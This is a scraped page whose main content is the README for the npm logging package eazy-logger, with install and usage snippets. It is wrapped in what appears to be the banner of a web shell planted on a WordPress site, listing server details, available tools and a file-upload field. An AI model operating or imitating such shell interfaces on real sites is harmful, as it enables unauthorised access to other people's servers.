| Server IP : 82.208.35.60 / Your IP : 216.73.216.238 Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31 System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64 User : studiokobylisy_cz ( 1008) PHP Version : 7.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/studiokobylisy_cz/www/wp-content/themes/studiokobylisy/node_modules/eazy-logger/ |
Upload File : |
##eazy-logger [](https://travis-ci.org/shakyShane/easy-logger) [](https://coveralls.io/r/shakyShane/easy-logger?branch=master)
[tFunk](https://github.com/shakyShane/tfunk) + [String Substitution](http://nodejs.org/docs/latest/api/console.html#console_console_log_data)

##Install
```
$ npm install eazy-logger --save
```
##Usage
```js
var logger = require("eazy-logger").Logger({
prefix: "{blue:[}{magenta:easy-logger}{blue:] }",
useLevelPrefixes: true
});
```
```js
/**
* Standard loggers + prefixes
*/
logger.debug("Debugging Msg");
logger.info("Info statement");
logger.warn("A little warning with string %s", "substitution");
logger.error("an error occurred in file: {red:%s}", "/users/awesomedev/file.js");
```
```js
/**
* Use string substitution + colours
*/
logger.log("error", "Use {green:built-in} %s", "String substitution");
```
```js
/**
* Set an option for the next log statement only
*/
logger.setOnce("useLevelPrefixes", true).warn("Use {green:built-in} %s", "String substitution");
```